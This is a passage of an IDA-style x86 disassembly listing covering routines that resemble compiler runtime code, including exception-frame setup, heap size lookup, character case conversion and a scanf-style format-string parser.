		push	dword ptr [eax+18h]
		call	sub_410DDA
		or	[ebp+var_4], 0FFFFFFFFh


loc_4154ED:				; CODE XREF: sub_4154A6+2Aj
					; sub_4154A6+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4154A6	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41557C

; =============== S U B	R O U T	I N E =======================================



sub_41550D	proc near		; CODE XREF: sub_4152E2+8Fp
					; sub_4152E2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41552E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41552E:				; CODE XREF: sub_41550D+12j
		pop	esi
		retn
sub_41550D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415530	proc near		; CODE XREF: sub_410E6D+40p
					; sub_41507D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_411159
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41556F
		mov	ecx, 2


loc_41556F:				; CODE XREF: sub_415530+38j
		push	ecx
		call	sub_411159
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_415530	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41557C	proc near		; CODE XREF: sub_414DD1:loc_414F73j
					; sub_41511B:loc_41512Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C838
		push	offset sub_417AAC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_45EB90
		test	eax, eax
		jz	short loc_4155C4
		mov	[ebp+var_4], 1
		call	eax ; dword_45EB90
		jmp	short loc_4155C0
; ---------------------------------------------------------------------------


loc_4155B9:				; DATA XREF: seg001:0041C848o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4155BD:				; DATA XREF: seg001:0041C84Co
		mov	esp, [ebp+var_18]


loc_4155C0:				; CODE XREF: sub_41557C+3Bj
		and	[ebp+var_4], 0


loc_4155C4:				; CODE XREF: sub_41557C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4155CD:				; DATA XREF: seg001:0041C840o
		jmp	near ptr loc_41892F+5
sub_41557C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155D2	proc near		; CODE XREF: sub_41100F+23p
					; sub_41100F:loc_41107Ap ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C850
		push	offset sub_417AAC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_42DB84
		test	eax, eax
		jz	short loc_41561A
		mov	[ebp+var_4], 1
		call	eax ; sub_41557C
		jmp	short loc_415616
; ---------------------------------------------------------------------------


loc_41560F:				; DATA XREF: seg001:0041C860o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_415613:				; DATA XREF: seg001:0041C864o
		mov	esp, [ebp+var_18]


loc_415616:				; CODE XREF: sub_4155D2+3Bj
		and	[ebp+var_4], 0


loc_41561A:				; CODE XREF: sub_4155D2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_415623:				; DATA XREF: seg001:0041C858o
		jmp	sub_41557C
sub_4155D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_415628	proc near		; CODE XREF: sub_4114F3+7p
					; sub_4114F3+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4134E0
		test	eax, eax
		pop	ecx
		jz	short loc_415640
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_415640:				; CODE XREF: sub_415628+Ej
		push	esi
		push	0
		push	ds:dword_460180
		call	ds:dword_41C17C	; RtlSizeHeap
		pop	esi
		retn
sub_415628	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415651	proc near		; CODE XREF: sub_4115A1+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_45EBA0, 0
		push	ebx
		jnz	short loc_41567C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41571A
		cmp	eax, 7Ah
		jg	loc_41571A
		sub	eax, 20h
		jmp	loc_41571A
; ---------------------------------------------------------------------------


loc_41567C:				; CODE XREF: sub_415651+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_4156AF
		cmp	ds:dword_42DA2C, 1
		jle	short loc_41569C
		push	2
		push	ebx
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_4156A7
; ---------------------------------------------------------------------------


loc_41569C:				; CODE XREF: sub_415651+3Dj
		mov	eax, ds:off_42D820
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_4156A7:				; CODE XREF: sub_415651+49j
		test	eax, eax
		jnz	short loc_4156AF


loc_4156AB:				; CODE XREF: sub_415651+AFj
		mov	eax, ebx
		jmp	short loc_41571A
; ---------------------------------------------------------------------------


loc_4156AF:				; CODE XREF: sub_415651+34j
					; sub_415651+58j
		mov	edx, ds:off_42D820
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4156D2
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_4156DB
; ---------------------------------------------------------------------------


loc_4156D2:				; CODE XREF: sub_415651+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_4156DB:				; CODE XREF: sub_415651+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_45EBA0
		call	loc_416B24
		add	esp, 20h
		test	eax, eax
		jz	short loc_4156AB
		cmp	eax, 1
		jnz	short loc_41570D
		movzx	eax, [ebp+var_4]
		jmp	short loc_41571A
; ---------------------------------------------------------------------------


loc_41570D:				; CODE XREF: sub_415651+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41571A:				; CODE XREF: sub_415651+14j
					; sub_415651+1Dj ...
		pop	ebx
		leave
		retn
sub_415651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41571D	proc near		; CODE XREF: sub_411844+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_416123
		mov	edi, [ebp+arg_0]
		jmp	short loc_41574C
; ---------------------------------------------------------------------------


loc_415747:				; CODE XREF: sub_41571D+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41574C:				; CODE XREF: sub_41571D+28j
		cmp	ds:dword_42DA2C, 1
		jle	short loc_415764
		movzx	eax, al
		push	8
		push	eax
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_415773
; ---------------------------------------------------------------------------


loc_415764:				; CODE XREF: sub_41571D+36j
		mov	ecx, ds:off_42D820
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_415773:				; CODE XREF: sub_41571D+45j
		cmp	eax, ebx
		jz	short loc_4157AD
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_4161AA
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416193
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_418A13
		add	esp, 0Ch


loc_41579B:				; CODE XREF: sub_41571D+8Ej
		test	eax, eax
		jz	short loc_4157AD
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_418A13
		pop	ecx
		jmp	short loc_41579B
; ---------------------------------------------------------------------------


loc_4157AD:				; CODE XREF: sub_41571D+58j
					; sub_41571D+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41608F
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4157E4:				; CODE XREF: sub_41571D+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_42DA2C, 1
		jle	short loc_415801
		movzx	eax, bl
		push	4
		push	eax
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_415810
; ---------------------------------------------------------------------------


loc_415801:				; CODE XREF: sub_41571D+D3j
		mov	ecx, ds:off_42D820
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_415810:				; CODE XREF: sub_41571D+E2j
		test	eax, eax
		jz	short loc_415826
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41588B
; ---------------------------------------------------------------------------


loc_415826:				; CODE XREF: sub_41571D+F5j
		cmp	ebx, 4Eh
		jg	short loc_415869
		jz	short loc_41588B
		cmp	ebx, 2Ah
		jz	short loc_415864
		cmp	ebx, 46h
		jz	short loc_41588B
		cmp	ebx, 49h
		jz	short loc_415846
		cmp	ebx, 4Ch
		jnz	short loc_415878
		inc	[ebp+var_D]
		jmp	short loc_41588B
; ---------------------------------------------------------------------------


loc_415846:				; CODE XREF: sub_41571D+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_415878
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_415878
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41588B
; ---------------------------------------------------------------------------


loc_415864:				; CODE XREF: sub_41571D+113j
		inc	[ebp+var_E]
		jmp	short loc_41588B
; ---------------------------------------------------------------------------


loc_415869:				; CODE XREF: sub_41571D+10Cj
		cmp	ebx, 68h
		jz	short loc_415885
		cmp	ebx, 6Ch
		jz	short loc_41587D
		cmp	ebx, 77h
		jz	short loc_415880


loc_415878:				; CODE XREF: sub_41571D+122j
					; sub_41571D+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41588B
; ---------------------------------------------------------------------------


loc_41587D:				; CODE XREF: sub_41571D+154j
		inc	[ebp+var_D]


loc_415880:				; CODE XREF: sub_41571D+159j
		inc	[ebp+var_5]
		jmp	short loc_41588B
; ---------------------------------------------------------------------------


loc_415885:				; CODE XREF: sub_41571D+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41588B:				; CODE XREF: sub_41571D+107j
					; sub_41571D+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4157E4
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4158B0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4158B0:				; CODE XREF: sub_41571D+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4158CE
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4158CA
		cmp	al, 43h
		jz	short loc_4158CA
		or	[ebp+var_5], 0FFh
		jmp	short loc_4158CE
; ---------------------------------------------------------------------------


loc_4158CA:				; CODE XREF: sub_41571D+1A1j
					; sub_41571D+1A5j
		mov	[ebp+var_5], 1


loc_4158CE:				; CODE XREF: sub_41571D+19Bj
					; sub_41571D+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_415907
		cmp	esi, 63h
		jz	short loc_4158F8
		cmp	esi, 7Bh
		jz	short loc_4158F8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4161AA
		pop	ecx
		jmp	short loc_415903
; ---------------------------------------------------------------------------


loc_4158F8:				; CODE XREF: sub_41571D+1C5j
					; sub_41571D+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_416179


loc_415903:				; CODE XREF: sub_41571D+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_415907:				; CODE XREF: sub_41571D+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_415917
		cmp	[ebp+var_C], eax
		jz	loc_4160F3


loc_415917:				; CODE XREF: sub_41571D+1EFj
		cmp	esi, 6Fh
		jg	loc_415B7E
		jz	loc_415E30
		cmp	esi, 63h
		jz	loc_415B5B
		cmp	esi, 64h
		jz	loc_415E30
		jle	loc_415BA8
		cmp	esi, 67h
		jle	short loc_41597B
		cmp	esi, 69h
		jz	short loc_415963
		cmp	esi, 6Eh
		jnz	loc_415BA8
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41605E
		jmp	loc_416084
; ---------------------------------------------------------------------------


loc_415963:				; CODE XREF: sub_41571D+229j
		push	64h
		pop	esi


loc_415966:				; CODE XREF: sub_41571D+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_415BF0
		mov	[ebp+var_17], 1
		jmp	loc_415BF5
; ---------------------------------------------------------------------------


loc_41597B:				; CODE XREF: sub_41571D+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_415997
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41599C
; ---------------------------------------------------------------------------


loc_415997:				; CODE XREF: sub_41571D+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4159B3


loc_41599C:				; CODE XREF: sub_41571D+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_416179
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4159B6
; ---------------------------------------------------------------------------


loc_4159B3:				; CODE XREF: sub_41571D+27Dj
		mov	edi, [ebp+arg_0]


loc_4159B6:				; CODE XREF: sub_41571D+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4159C5
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4159CC


loc_4159C5:				; CODE XREF: sub_41571D+29Dj
		mov	[ebp+var_C], 15Dh


loc_4159CC:				; CODE XREF: sub_41571D+2A6j
					; sub_41571D+2F2j
		cmp	ds:dword_42DA2C, 1
		jle	short loc_4159E1
		push	4
		push	ebx
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_4159EC
; ---------------------------------------------------------------------------


loc_4159E1:				; CODE XREF: sub_41571D+2B6j
		mov	eax, ds:off_42D820
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4159EC:				; CODE XREF: sub_41571D+2C2j
		test	eax, eax
		jz	short loc_415A11
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_415A11
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_416179
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4159CC
; ---------------------------------------------------------------------------


loc_415A11:				; CODE XREF: sub_41571D+2D1j
					; sub_41571D+2DBj
		cmp	ds:byte_42DA30,	bl
		jnz	short loc_415A7F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_415A7F
		inc	[ebp+var_4]
		push	edi
		call	sub_416179
		mov	ebx, eax
		mov	al, ds:byte_42DA30
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_415A3A:				; CODE XREF: sub_41571D+360j
		cmp	ds:dword_42DA2C, 1
		jle	short loc_415A4F
		push	4
		push	ebx
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_415A5A
; ---------------------------------------------------------------------------


loc_415A4F:				; CODE XREF: sub_41571D+324j
		mov	eax, ds:off_42D820
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_415A5A:				; CODE XREF: sub_41571D+330j
		test	eax, eax
		jz	short loc_415A7F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_415A7F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_416179
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_415A3A
; ---------------------------------------------------------------------------


loc_415A7F:				; CODE XREF: sub_41571D+2FAj
					; sub_41571D+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_415B17
		cmp	ebx, 65h
		jz	short loc_415A97
		cmp	ebx, 45h
		jnz	loc_415B17


loc_415A97:				; CODE XREF: sub_41571D+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_415B17
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_416179
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_415ABE
		mov	[esi], al
		inc	esi
		jmp	short loc_415AC3
; ---------------------------------------------------------------------------


loc_415ABE:				; CODE XREF: sub_41571D+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_415AE1


loc_415AC3:				; CODE XREF: sub_41571D+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_415AD2
		and	[ebp+var_C], eax
		jmp	short loc_415AE1
; ---------------------------------------------------------------------------


loc_415AD2:				; CODE XREF: sub_41571D+3AEj
					; sub_41571D+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_416179
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_415AE1:				; CODE XREF: sub_41571D+3A4j
					; sub_41571D+3B3j
		cmp	ds:dword_42DA2C, 1
		jle	short loc_415AF6
		push	4
		push	ebx
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_415B01
; ---------------------------------------------------------------------------


loc_415AF6:				; CODE XREF: sub_41571D+3CBj
		mov	eax, ds:off_42D820
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_415B01:				; CODE XREF: sub_41571D+3D7j
		test	eax, eax
		jz	short loc_415B17
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_415B17
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_415AD2
; ---------------------------------------------------------------------------


loc_415B17:				; CODE XREF: sub_41571D+366j
					; sub_41571D+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_416193
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_416123
		cmp	[ebp+var_E], 0
		jnz	loc_416084
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_42DB60
		add	esp, 0Ch
		jmp	loc_416084
; ---------------------------------------------------------------------------


loc_415B5B:				; CODE XREF: sub_41571D+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_415B6A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_415B6A:				; CODE XREF: sub_41571D+441j
		cmp	[ebp+var_5], 0
		jle	short loc_415B74
		mov	[ebp+var_16], 1


loc_415B74:				; CODE XREF: sub_41571D+451j
		mov	edi, offset dword_42DB90
		jmp	loc_415C89
; ---------------------------------------------------------------------------


loc_415B7E:				; CODE XREF: sub_41571D+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_415E2C
		sub	eax, 3
		jz	loc_415C7A
		dec	eax
		dec	eax
		jz	loc_415E30
		sub	eax, 3
		jz	loc_415966
		sub	eax, 3
		jz	short loc_415BCC


loc_415BA8:				; CODE XREF: sub_41571D+21Bj
					; sub_41571D+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_4160F3
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_416084
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_416084
; ---------------------------------------------------------------------------


loc_415BCC:				; CODE XREF: sub_41571D+489j
		cmp	[ebp+var_5], 0
		jle	short loc_415BD6
		mov	[ebp+var_16], 1


loc_415BD6:				; CODE XREF: sub_41571D+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_415C8D
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_415C89
; ---------------------------------------------------------------------------


loc_415BF0:				; CODE XREF: sub_41571D+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_415C17


loc_415BF5:				; CODE XREF: sub_41571D+259j
		dec	[ebp+var_C]
		jnz	short loc_415C06
		cmp	[ebp+var_20], 0
		jz	short loc_415C06
		mov	[ebp+var_F], 1
		jmp	short loc_415C17
; ---------------------------------------------------------------------------


loc_415C06:				; CODE XREF: sub_41571D+4DBj
					; sub_41571D+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_416179
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_415C17:				; CODE XREF: sub_41571D+4D6j
					; sub_41571D+4E7j
		cmp	ebx, 30h
		jnz	loc_415E65
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_416179
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_415C65
		cmp	bl, 58h
		jz	short loc_415C65
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_415C4F
		push	6Fh


loc_415C49:				; CODE XREF: sub_41571D+55Bj
		pop	esi
		jmp	loc_415E65
; ---------------------------------------------------------------------------


loc_415C4F:				; CODE XREF: sub_41571D+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_416193
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_415E62
; ---------------------------------------------------------------------------


loc_415C65:				; CODE XREF: sub_41571D+517j
					; sub_41571D+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_416179
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_415C49
; ---------------------------------------------------------------------------


loc_415C7A:				; CODE XREF: sub_41571D+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_415C84
		mov	[ebp+var_16], 1


loc_415C84:				; CODE XREF: sub_41571D+561j
		mov	edi, offset dword_42DB88


loc_415C89:				; CODE XREF: sub_41571D+45Cj
					; sub_41571D+4CEj
		or	[ebp+var_18], 0FFh


loc_415C8D:				; CODE XREF: sub_41571D+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_410870
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_415CB1
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_415CB1
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_415CB4
; ---------------------------------------------------------------------------


loc_415CB1:				; CODE XREF: sub_41571D+584j
					; sub_41571D+589j
		mov	dl, [ebp+var_35]


loc_415CB4:				; CODE XREF: sub_41571D+592j
					; sub_41571D+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_415D19
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_415D00
		test	dl, dl
		jz	short loc_415D00
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_415D00
		inc	edi
		cmp	dl, cl
		jnb	short loc_415CD3
		mov	al, cl
		jmp	short loc_415CD7
; ---------------------------------------------------------------------------


loc_415CD3:				; CODE XREF: sub_41571D+5B0j
		mov	al, dl
		mov	dl, cl


loc_415CD7:				; CODE XREF: sub_41571D+5B4j
		cmp	dl, al
		ja	short loc_415CFC
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_415CE4:				; CODE XREF: sub_41571D+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_415CE4


loc_415CFC:				; CODE XREF: sub_41571D+5BCj
		xor	dl, dl
		jmp	short loc_415CB4
; ---------------------------------------------------------------------------


loc_415D00:				; CODE XREF: sub_41571D+5A0j
					; sub_41571D+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_415CB4
; ---------------------------------------------------------------------------


loc_415D19:				; CODE XREF: sub_41571D+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_416123
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_415D2B
		mov	[ebp+arg_4], edi


loc_415D2B:				; CODE XREF: sub_41571D+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_416193
		pop	ecx
		pop	ecx


loc_415D42:				; CODE XREF: sub_41571D+6BCj
					; sub_41571D+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_415D56
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_415DF2


loc_415D56:				; CODE XREF: sub_41571D+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_416179
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_415DE6
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_415DE6
		cmp	[ebp+var_E], 0
		jnz	short loc_415DDE
		cmp	[ebp+var_16], 0
		jz	short loc_415DD3
		mov	ecx, ds:off_42D820
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_415DB2
		inc	[ebp+var_4]
		push	edi
		call	sub_416179
		pop	ecx
		mov	[ebp+var_37], al


loc_415DB2:				; CODE XREF: sub_41571D+686j
		push	ds:dword_42DA2C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41894B
		mov	ax, [ebp+var_3E]
